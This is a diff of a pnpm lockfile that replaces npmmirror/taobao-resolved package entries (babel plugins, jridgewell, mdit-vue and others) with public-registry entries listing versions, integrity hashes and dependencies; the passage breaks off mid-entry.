'@babel/plugin-proposal-nullish-coalescing-operator': registry.npmmirror.com/@babel/plugin-proposal-nullish-coalescing-operator/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-numeric-separator': registry.npmmirror.com/@babel/plugin-proposal-numeric-separator/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-object-rest-spread': registry.npmmirror.com/@babel/plugin-proposal-object-rest-spread/7.17.3_@babel+core@7.17.10 - '@babel/plugin-proposal-optional-catch-binding': registry.npmmirror.com/@babel/plugin-proposal-optional-catch-binding/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-optional-chaining': registry.npmmirror.com/@babel/plugin-proposal-optional-chaining/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-private-methods': registry.npmmirror.com/@babel/plugin-proposal-private-methods/7.16.11_@babel+core@7.17.10 - '@babel/plugin-proposal-private-property-in-object': registry.npmmirror.com/@babel/plugin-proposal-private-property-in-object/7.16.7_@babel+core@7.17.10 - '@babel/plugin-proposal-unicode-property-regex': registry.npmmirror.com/@babel/plugin-proposal-unicode-property-regex/7.16.7_@babel+core@7.17.10 - '@babel/plugin-syntax-async-generators': registry.npmmirror.com/@babel/plugin-syntax-async-generators/7.8.4_@babel+core@7.17.10 - '@babel/plugin-syntax-class-properties': registry.npmmirror.com/@babel/plugin-syntax-class-properties/7.12.13_@babel+core@7.17.10 - '@babel/plugin-syntax-class-static-block': registry.npmmirror.com/@babel/plugin-syntax-class-static-block/7.14.5_@babel+core@7.17.10 - '@babel/plugin-syntax-dynamic-import': registry.npmmirror.com/@babel/plugin-syntax-dynamic-import/7.8.3_@babel+core@7.17.10 - '@babel/plugin-syntax-export-namespace-from': registry.npmmirror.com/@babel/plugin-syntax-export-namespace-from/7.8.3_@babel+core@7.17.10 - '@babel/plugin-syntax-json-strings': registry.npmmirror.com/@babel/plugin-syntax-json-strings/7.8.3_@babel+core@7.17.10 - '@babel/plugin-syntax-logical-assignment-operators': registry.npmmirror.com/@babel/plugin-syntax-logical-assignment-operators/7.10.4_@babel+core@7.17.10 - '@babel/plugin-syntax-nullish-coalescing-operator': registry.npmmirror.com/@babel/plugin-syntax-nullish-coalescing-operator/7.8.3_@babel+core@7.17.10 - '@babel/plugin-syntax-numeric-separator': registry.npmmirror.com/@babel/plugin-syntax-numeric-separator/7.10.4_@babel+core@7.17.10 - '@babel/plugin-syntax-object-rest-spread': registry.npmmirror.com/@babel/plugin-syntax-object-rest-spread/7.8.3_@babel+core@7.17.10 - '@babel/plugin-syntax-optional-catch-binding': registry.npmmirror.com/@babel/plugin-syntax-optional-catch-binding/7.8.3_@babel+core@7.17.10 - '@babel/plugin-syntax-optional-chaining': registry.npmmirror.com/@babel/plugin-syntax-optional-chaining/7.8.3_@babel+core@7.17.10 - '@babel/plugin-syntax-private-property-in-object': registry.npmmirror.com/@babel/plugin-syntax-private-property-in-object/7.14.5_@babel+core@7.17.10 - '@babel/plugin-syntax-top-level-await': registry.npmmirror.com/@babel/plugin-syntax-top-level-await/7.14.5_@babel+core@7.17.10 - '@babel/plugin-transform-arrow-functions': registry.npmmirror.com/@babel/plugin-transform-arrow-functions/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-async-to-generator': registry.npmmirror.com/@babel/plugin-transform-async-to-generator/7.16.8_@babel+core@7.17.10 - '@babel/plugin-transform-block-scoped-functions': registry.npmmirror.com/@babel/plugin-transform-block-scoped-functions/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-block-scoping': registry.npmmirror.com/@babel/plugin-transform-block-scoping/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-classes': registry.npmmirror.com/@babel/plugin-transform-classes/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-computed-properties': registry.npmmirror.com/@babel/plugin-transform-computed-properties/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-destructuring': registry.npmmirror.com/@babel/plugin-transform-destructuring/7.17.7_@babel+core@7.17.10 - '@babel/plugin-transform-dotall-regex': registry.npmmirror.com/@babel/plugin-transform-dotall-regex/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-duplicate-keys': registry.npmmirror.com/@babel/plugin-transform-duplicate-keys/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-exponentiation-operator': registry.npmmirror.com/@babel/plugin-transform-exponentiation-operator/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-for-of': registry.npmmirror.com/@babel/plugin-transform-for-of/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-function-name': registry.npmmirror.com/@babel/plugin-transform-function-name/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-literals': registry.npmmirror.com/@babel/plugin-transform-literals/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-member-expression-literals': registry.npmmirror.com/@babel/plugin-transform-member-expression-literals/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-modules-amd': registry.npmmirror.com/@babel/plugin-transform-modules-amd/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-modules-commonjs': registry.npmmirror.com/@babel/plugin-transform-modules-commonjs/7.17.9_@babel+core@7.17.10 - '@babel/plugin-transform-modules-systemjs': registry.npmmirror.com/@babel/plugin-transform-modules-systemjs/7.17.8_@babel+core@7.17.10 - '@babel/plugin-transform-modules-umd': registry.npmmirror.com/@babel/plugin-transform-modules-umd/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-named-capturing-groups-regex': registry.npmmirror.com/@babel/plugin-transform-named-capturing-groups-regex/7.17.10_@babel+core@7.17.10 - '@babel/plugin-transform-new-target': registry.npmmirror.com/@babel/plugin-transform-new-target/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-object-super': registry.npmmirror.com/@babel/plugin-transform-object-super/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-parameters': registry.npmmirror.com/@babel/plugin-transform-parameters/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-property-literals': registry.npmmirror.com/@babel/plugin-transform-property-literals/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-regenerator': registry.npmmirror.com/@babel/plugin-transform-regenerator/7.17.9_@babel+core@7.17.10 - '@babel/plugin-transform-reserved-words': registry.npmmirror.com/@babel/plugin-transform-reserved-words/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-shorthand-properties': registry.npmmirror.com/@babel/plugin-transform-shorthand-properties/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-spread': registry.npmmirror.com/@babel/plugin-transform-spread/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-sticky-regex': registry.npmmirror.com/@babel/plugin-transform-sticky-regex/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-template-literals': registry.npmmirror.com/@babel/plugin-transform-template-literals/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-typeof-symbol': registry.npmmirror.com/@babel/plugin-transform-typeof-symbol/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-unicode-escapes': registry.npmmirror.com/@babel/plugin-transform-unicode-escapes/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-unicode-regex': registry.npmmirror.com/@babel/plugin-transform-unicode-regex/7.16.7_@babel+core@7.17.10 - '@babel/preset-modules': registry.npmmirror.com/@babel/preset-modules/0.1.5_@babel+core@7.17.10 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - babel-plugin-polyfill-corejs2: registry.npmmirror.com/babel-plugin-polyfill-corejs2/0.3.1_@babel+core@7.17.10 - babel-plugin-polyfill-corejs3: registry.npmmirror.com/babel-plugin-polyfill-corejs3/0.5.2_@babel+core@7.17.10 - babel-plugin-polyfill-regenerator: registry.npmmirror.com/babel-plugin-polyfill-regenerator/0.3.1_@babel+core@7.17.10 - core-js-compat: registry.npmmirror.com/core-js-compat/3.22.5 - semver: registry.npmmirror.com/semver/6.3.0 + '@babel/core': 7.22.8 + '@babel/helper-define-polyfill-provider': 0.3.1(@babel/core@7.22.8) transitivePeerDependencies: - supports-color dev: true - registry.npmmirror.com/@babel/preset-modules/0.1.5_@babel+core@7.17.10: - resolution: {integrity: sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/preset-modules/-/preset-modules-0.1.5.tgz} - id: registry.npmmirror.com/@babel/preset-modules/0.1.5 - name: '@babel/preset-modules' - version: 0.1.5 - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-proposal-unicode-property-regex': registry.npmmirror.com/@babel/plugin-proposal-unicode-property-regex/7.16.7_@babel+core@7.17.10 - '@babel/plugin-transform-dotall-regex': registry.npmmirror.com/@babel/plugin-transform-dotall-regex/7.16.7_@babel+core@7.17.10 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - esutils: registry.npmmirror.com/esutils/2.0.3 + /balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} dev: true - registry.npmmirror.com/@babel/runtime/7.17.9: - resolution: {integrity: sha512-lSiBBvodq29uShpWGNbgFdKYNiFDo5/HIYsaCEY9ff4sb10x9jizo2+pRrSyF4jKZCXqgzuqBOQKbUm90gQwJg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/runtime/-/runtime-7.17.9.tgz} - name: '@babel/runtime' - version: 7.17.9 - engines: {node: '>=6.9.0'} - dependencies: - regenerator-runtime: registry.npmmirror.com/regenerator-runtime/0.13.9 + /balloon-css@1.2.0: + resolution: {integrity: sha512-urXwkHgwp6GsXVF+it01485Z2Cj4pnW02ICnM0TemOlkKmCNnDLmyy+ZZiRXBpwldUXO+aRNr7Hdia4CBvXJ5A==} dev: true - registry.npmmirror.com/@babel/template/7.16.7: - resolution: {integrity: sha512-I8j/x8kHUrbYRTUxXrrMbfCa7jxkE7tZre39x3kjr9hvI82cK1FfqLygotcWN5kdPGWcLdWMHpSBavse5tWw3w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/template/-/template-7.16.7.tgz} - name: '@babel/template' - version: 7.16.7 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/code-frame': registry.npmmirror.com/@babel/code-frame/7.16.7 - '@babel/parser': registry.npmmirror.com/@babel/parser/7.17.10 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /base64-js@1.5.1: + resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} dev: true - registry.npmmirror.com/@babel/traverse/7.17.10: - resolution: {integrity: sha512-VmbrTHQteIdUUQNTb+zE12SHS/xQVIShmBPhlNP12hD5poF2pbITW1Z4172d03HegaQWhLffdkRJYtAzp0AGcw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/traverse/-/traverse-7.17.10.tgz} - name: '@babel/traverse' - version: 7.17.10 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/code-frame': registry.npmmirror.com/@babel/code-frame/7.16.7 - '@babel/generator': registry.npmmirror.com/@babel/generator/7.17.10 - '@babel/helper-environment-visitor': registry.npmmirror.com/@babel/helper-environment-visitor/7.16.7 - '@babel/helper-function-name': registry.npmmirror.com/@babel/helper-function-name/7.17.9 - '@babel/helper-hoist-variables': registry.npmmirror.com/@babel/helper-hoist-variables/7.16.7 - '@babel/helper-split-export-declaration': registry.npmmirror.com/@babel/helper-split-export-declaration/7.16.7 - '@babel/parser': registry.npmmirror.com/@babel/parser/7.17.10 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - debug: registry.npmmirror.com/debug/4.3.4 - globals: registry.npmmirror.com/globals/11.12.0 - transitivePeerDependencies: - - supports-color + /bcp-47-match@1.0.3: + resolution: {integrity: sha512-LggQ4YTdjWQSKELZF5JwchnBa1u0pIQSZf5lSdOHEdbVP55h0qICA/FUp3+W99q0xqxYa1ZQizTUH87gecII5w==} dev: true - registry.npmmirror.com/@babel/types/7.17.10: - resolution: {integrity: sha512-9O26jG0mBYfGkUYCYZRnBwbVLd1UZOICEr2Em6InB6jVfsAv1GKgwXHmrSg+WFWDmeKTA6vyTZiN8tCSM5Oo3A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/types/-/types-7.17.10.tgz} - name: '@babel/types' - version: 7.17.10 - engines: {node: '>=6.9.0'} + /bcp-47-normalize@1.1.1: + resolution: {integrity: sha512-jWZ1Jdu3cs0EZdfCkS0UE9Gg01PtxnChjEBySeB+Zo6nkqtFfnvtoQQgP1qU1Oo4qgJgxhTI6Sf9y/pZIhPs0A==} dependencies: - '@babel/helper-validator-identifier': registry.npmmirror.com/@babel/helper-validator-identifier/7.16.7 - to-fast-properties: registry.npmmirror.com/to-fast-properties/2.0.0 - dev: true - - registry.npmmirror.com/@braintree/sanitize-url/6.0.0: - resolution: {integrity: sha512-mgmE7XBYY/21erpzhexk4Cj1cyTQ9LzvnTxtzM17BJ7ERMNE6W72mQRo0I1Ud8eFJ+RVVIcBNhLFZ3GX4XFz5w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@braintree/sanitize-url/-/sanitize-url-6.0.0.tgz} - name: '@braintree/sanitize-url' - version: 6.0.0 + bcp-47: 1.0.8 + bcp-47-match: 1.0.3 dev: true - registry.npmmirror.com/@commitlint/load/17.0.3: - resolution: {integrity: sha512-3Dhvr7GcKbKa/ey4QJ5MZH3+J7QFlARohUow6hftQyNjzoXXROm+RwpBes4dDFrXG1xDw9QPXA7uzrOShCd4bw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@commitlint/load/-/load-17.0.3.tgz} - name: '@commitlint/load' - version: 17.0.3 - engines: {node: '>=v14'} + /bcp-47@1.0.8: + resolution: {integrity: sha512-Y9y1QNBBtYtv7hcmoX0tR+tUNSFZGZ6OL6vKPObq8BbOhkCoyayF6ogfLTgAli/KuAEbsYHYUNq2AQuY6IuLag==} dependencies: - '@commitlint/config-validator': 17.0.3 - '@commitlint/execute-rule': 17.0.0 - '@commitlint/resolve-extends': 17.0.3 - '@commitlint/types': 17.0.0 - '@types/node': 17.0.32 - chalk: 4.1.2 - cosmiconfig: 7.0.1 - cosmiconfig-typescript-loader: 2.0.2_wkok7lthibal5qjhsdd5yq2cfe - lodash: 4.17.21 - resolve-from: 5.0.0 - typescript: 4.7.4 - transitivePeerDependencies: - - '@swc/core' - - '@swc/wasm' + is-alphabetical: 1.0.4 + is-alphanumerical: 1.0.4 + is-decimal: 1.0.4 dev: true - optional: true - registry.npmmirror.com/@esbuild/android-arm/0.15.14: - resolution: {integrity: sha512-+Rb20XXxRGisNu2WmNKk+scpanb7nL5yhuI1KR9wQFiC43ddPj/V1fmNyzlFC9bKiG4mYzxW7egtoHVcynr+OA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.15.14.tgz} - name: '@esbuild/android-arm' - version: 0.15.14 - engines: {node: '>=12'} - cpu: [arm] - os: [android] - requiresBuild: true + /bcrypt-ts@4.0.0: + resolution: {integrity: sha512-EsO/XpRoEr+3d63rEwytqYUs2yeQcTdQ5qonRHgcRBUSY5yZXCSbgL1seMUt61Gx9JuYZaPIccWuAWqqmGU/TQ==} dev: true - optional: true - registry.npmmirror.com/@esbuild/linux-loong64/0.15.14: - resolution: {integrity: sha512-eQi9rosGNVQFJyJWV0HCA5WZae/qWIQME7s8/j8DMvnylfBv62Pbu+zJ2eUDqNf2O4u3WB+OEXyfkpBoe194sg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.15.14.tgz} - name: '@esbuild/linux-loong64' - version: 0.15.14 - engines: {node: '>=12'} - cpu: [loong64] - os: [linux] - requiresBuild: true + /binary-extensions@2.2.0: + resolution: {integrity: sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==} + engines: {node: '>=8'} dev: true - optional: true - registry.npmmirror.com/@jridgewell/gen-mapping/0.1.1: - resolution: {integrity: sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz} - name: '@jridgewell/gen-mapping' - version: 0.1.1 - engines: {node: '>=6.0.0'} + /bl@5.1.0: + resolution: {integrity: sha512-tv1ZJHLfTDnXE6tMHv73YgSJaWR2AFuPwMntBe7XL/GBFHnT0CLnsHMogfk5+GzCDC5ZWarSCYaIGATZt9dNsQ==} dependencies: - '@jridgewell/set-array': registry.npmmirror.com/@jridgewell/set-array/1.1.1 - '@jridgewell/sourcemap-codec': registry.npmmirror.com/@jridgewell/sourcemap-codec/1.4.14 + buffer: 6.0.3 + inherits: 2.0.4 + readable-stream: 3.6.0 dev: true - registry.npmmirror.com/@jridgewell/gen-mapping/0.3.2: - resolution: {integrity: sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz} - name: '@jridgewell/gen-mapping' - version: 0.3.2 - engines: {node: '>=6.0.0'} + /boolbase@1.0.0: + resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==} + dev: true + + /brace-expansion@1.1.11: + resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==} dependencies: - '@jridgewell/set-array': registry.npmmirror.com/@jridgewell/set-array/1.1.1 - '@jridgewell/sourcemap-codec': registry.npmmirror.com/@jridgewell/sourcemap-codec/1.4.14 - '@jridgewell/trace-mapping': registry.npmmirror.com/@jridgewell/trace-mapping/0.3.17 + balanced-match: 1.0.2 + concat-map: 0.0.1 dev: true - registry.npmmirror.com/@jridgewell/resolve-uri/3.1.0: - resolution: {integrity: sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz} - name: '@jridgewell/resolve-uri' - version: 3.1.0 - engines: {node: '>=6.0.0'} + /brace-expansion@2.0.1: + resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==} + dependencies: + balanced-match: 1.0.2 dev: true - registry.npmmirror.com/@jridgewell/set-array/1.1.1: - resolution: {integrity: sha512-Ct5MqZkLGEXTVmQYbGtx9SVqD2fqwvdubdps5D3djjAkgkKwT918VNOz65pEHFaYTeWcukmJmH5SwsA9Tn2ObQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@jridgewell/set-array/-/set-array-1.1.1.tgz} - name: '@jridgewell/set-array' - version: 1.1.1 - engines: {node: '>=6.0.0'} + /braces@3.0.2: + resolution: {integrity: sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==} + engines: {node: '>=8'} + dependencies: + fill-range: 7.0.1 dev: true - registry.npmmirror.com/@jridgewell/source-map/0.3.2: - resolution: {integrity: sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@jridgewell/source-map/-/source-map-0.3.2.tgz} - name: '@jridgewell/source-map' - version: 0.3.2 + /browserslist@4.21.9: + resolution: {integrity: sha512-M0MFoZzbUrRU4KNfCrDLnvyE7gub+peetoTid3TBIqtunaDJyXlwhakT+/VkvSXcfIzFfK/nkCs4nmyTmxdNSg==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true dependencies: - '@jridgewell/gen-mapping': registry.npmmirror.com/@jridgewell/gen-mapping/0.3.2 - '@jridgewell/trace-mapping': registry.npmmirror.com/@jridgewell/trace-mapping/0.3.17 + caniuse-lite: 1.0.30001514 + electron-to-chromium: 1.4.454 + node-releases: 2.0.13 + update-browserslist-db: 1.0.11(browserslist@4.21.9) dev: true - registry.npmmirror.com/@jridgewell/sourcemap-codec/1.4.14: - resolution: {integrity: sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz} - name: '@jridgewell/sourcemap-codec' - version: 1.4.14 + /buffer-from@1.1.2: + resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==} dev: true - registry.npmmirror.com/@jridgewell/trace-mapping/0.3.17: - resolution: {integrity: sha512-MCNzAp77qzKca9+W/+I0+sEpaUnZoeasnghNeVc41VZCEKaCH73Vq3BZZ/SzWIgrqE4H4ceI+p+b6C0mHf9T4g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.17.tgz} - name: '@jridgewell/trace-mapping' - version: 0.3.17 + /buffer@6.0.3: + resolution: {integrity: sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==} dependencies: - '@jridgewell/resolve-uri': registry.npmmirror.com/@jridgewell/resolve-uri/3.1.0 - '@jridgewell/sourcemap-codec': registry.npmmirror.com/@jridgewell/sourcemap-codec/1.4.14 + base64-js: 1.5.1 + ieee754: 1.2.1 dev: true - registry.npmmirror.com/@jridgewell/trace-mapping/0.3.9: - resolution: {integrity: sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz} - name: '@jridgewell/trace-mapping' - version: 0.3.9 - dependencies: - '@jridgewell/resolve-uri': registry.npmmirror.com/@jridgewell/resolve-uri/3.1.0 - '@jridgewell/sourcemap-codec': registry.npmmirror.com/@jridgewell/sourcemap-codec/1.4.14 + /builtin-modules@3.2.0: + resolution: {integrity: sha512-lGzLKcioL90C7wMczpkY0n/oART3MbBa8R9OFGE1rJxoVI86u4WAGfEk8Wjv10eKSyTHVGkSo3bvBylCEtk7LA==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/@lit/reactive-element/1.4.2: - resolution: {integrity: sha512-VMOxsWh/QDwrxPsgkSQnuZ+8mfNy1OTjzzUdLBvvZtpahwPTHTeVZ51RZRqO4xfKVrR+btIPA8D01IL3xeG66w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@lit/reactive-element/-/reactive-element-1.4.2.tgz} - name: '@lit/reactive-element' - version: 1.4.2 + /cac@6.7.14: + resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/@mdit-vue/plugin-component/0.11.1: - resolution: {integrity: sha512-fCqyYPwEXFa182/Vz6g8McDi3SCIwm3yHWkWddHx+QNn0gMGFqkhJVcz/wjCIA3oCoWUBWM80aZ09ZuoQiOmvQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@mdit-vue/plugin-component/-/plugin-component-0.11.1.tgz} - name: '@mdit-vue/plugin-component' - version: 0.11.1 - dependencies: - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 + /cachedir@2.2.0: + resolution: {integrity: sha512-VvxA0xhNqIIfg0V9AmJkDg91DaJwryutH5rVEZAhcNi4iJFj9f+QxmAjgK1LT9I8OgToX27fypX6/MeCXVbBjQ==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/@mdit-vue/plugin-frontmatter/0.11.1: - resolution: {integrity: sha512-AdZJInjD1pTJXlfhuoBS5ycuIQ3ewBfY0R/XHM3TRDEaDHQJHxouUCpCyijZmpdljTU45lFetIowaKtAi7GBog==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@mdit-vue/plugin-frontmatter/-/plugin-frontmatter-0.11.1.tgz} - name: '@mdit-vue/plugin-frontmatter' - version: 0.11.1 + /call-bind@1.0.2: + resolution: {integrity: sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==} dependencies: - '@mdit-vue/types': registry.npmmirror.com/@mdit-vue/types/0.11.0 - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - gray-matter: registry.npmmirror.com/gray-matter/4.0.3 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 + function-bind: 1.1.1 + get-intrinsic: 1.1.1 dev: true - registry.npmmirror.com/@mdit-vue/plugin-headers/0.11.1: - resolution: {integrity: sha512-eBUonsEkXP2Uf2MIXSWZGCcLCIMSA1XfThJwhzSAosoa7fO5aw52LKCweddmn7zLQvgQh7p7382sFAhCc2KXog==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@mdit-vue/plugin-headers/-/plugin-headers-0.11.1.tgz} - name: '@mdit-vue/plugin-headers' - version: 0.11.1 - dependencies: - '@mdit-vue/shared': registry.npmmirror.com/@mdit-vue/shared/0.11.0 - '@mdit-vue/types': registry.npmmirror.com/@mdit-vue/types/0.11.0 - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 + /callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/@mdit-vue/plugin-sfc/0.11.1: - resolution: {integrity: sha512-3AjQXqExzT9FWGNOeTBqK1pbt1UA5anrZvjo7OO2PJ3lrfZd0rbjionFkmW/VW1912laHUraIP6n74mUNqPuWw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@mdit-vue/plugin-sfc/-/plugin-sfc-0.11.1.tgz} - name: '@mdit-vue/plugin-sfc' - version: 0.11.1 + /camelcase-keys@6.2.2: + resolution: {integrity: sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==} + engines: {node: '>=8'} dependencies: - '@mdit-vue/types': registry.npmmirror.com/@mdit-vue/types/0.11.0 - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 + camelcase: 5.3.1 + map-obj: 4.3.0 + quick-lru: 4.0.1 dev: true - registry.npmmirror.com/@mdit-vue/plugin-title/0.11.1: - resolution: {integrity: sha512-lvgR1pSgwX5D3tmLGyYBsfd3GbEoscqYsLTE8Vg+rCY8LfSrHdwrOD3Eg+SM2KyS5+gn+Zw4nS0S1yxOIVZBCQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@mdit-vue/plugin-title/-/plugin-title-0.11.1.tgz} - name: '@mdit-vue/plugin-title' - version: 0.11.1 - dependencies: - '@mdit-vue/shared': registry.npmmirror.com/@mdit-vue/shared/0.11.0 - '@mdit-vue/types': registry.npmmirror.com/@mdit-vue/types/0.11.0 - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 + /camelcase@5.3.1: + resolution: {integrity: sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/@mdit-vue/plugin-toc/0.11.1: - resolution: {integrity: sha512-1tkGb1092ZgLhoSmE5hkC6U0IRGG5bWhUY4p14npV4cwqntciXEoXRqPA1jGEDh5hnofZC0bHbeS3uKxsmAEew==, registry: 